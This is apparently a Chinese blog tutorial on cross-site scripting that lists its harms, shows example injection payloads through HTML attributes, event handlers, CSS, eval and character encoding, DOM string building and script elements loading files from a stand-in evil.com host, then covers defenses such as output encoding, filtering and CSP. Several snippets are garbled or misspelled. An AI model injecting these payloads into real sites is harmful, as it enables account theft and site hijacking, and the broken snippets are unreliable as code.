Web前端安全——XSS攻击与防御

跨站脚本攻击简称 XSS (Cross-Site Scriptting),是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

XSS攻击的危害:

1、盗取各类用户帐号权限(控制所盗窃权限数据内容),如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、基于XSS的跨站业务请求(如:非法转账、非法下单、非法转载/发表内容、发送电子邮件、利用管理员身份提权挂马、控制受害者机器向其它网站发起攻击等)

4、形成持久化APT攻击,长期控制网站业务中枢

5、利用跨站业务形成蠕虫病毒式传播

6、劫持网站,劫持后可用于钓鱼、伪装、跳转、挂广告等,属挂马类型

XSS攻击注入方式与示例:

  • 通过html属性构造(src、lowsrc、dynsrc、href、bgsound、action、background……)
    示例:
"javascript:alert(/xss/)" width = 100>
  • 通过html属性事件构造(onerror, onclick、onmounseover……)
    示例:
1. "#" onerror = alert(/xss/)>
2. 
/xss/)></div>
  • 通过css构造(background-img: url、expression、link-href、@import)
    示例:
1. <div style = "background-img: url(javascript:alert

(/xss/));width:exprssion(alert('xss'));">div>
2. <style>body{background-img: url("javascript:alert('xss')")}style>
3. <link rel = "stylesheet" href="http://www.evil.com/attack.css">
4. <style>@import "javascript:alert('xss')"style>
  • 通过JavaScript构造(eval()函数)、ASCII编码
    示例:
1. <script>eval("alert('xss')")script>
2. <img src = "javascript:eval(String.fromChartCode

(97,108,101,114,116,40,39,88,83,83,39,41))">
  • 基于DOM(常用于有字数限制的输入框)
    示例:
字符串拼接:
<script>a='document.'script>
<script>a=a+'write("'script>
<script>a=a+'alert('script>
<script>a=a+'/xss/)'script>
<script>a=a+'")'script>
<script>eval(a)script>
  • 基于DOM型创建节点(创建document.write()、node.innerHTML、document.createElement……)
    示例:
 1. var b = document.createElement("script");
    b.src = "http://www/evil.com/xss.js";
 2. document.getElementsByTagName("head")[0].appendChild(z);

防御措施:
- 避免使用客户端数据,尽量服务端生成
- JavaScript变量输出时先编码
- XSS过滤(js-xss, http://jsxss.com)
- CSP(Content Security Policy)

说明:CSP:通过在http响应头中加入相关指令告知浏览器,被保护页面仅允许加载和执行指令中限制的内容,不满足的资源与内容不执行或被客户端阻断。详见:https://content-security-policy.com

你可能感兴趣的:(web前端)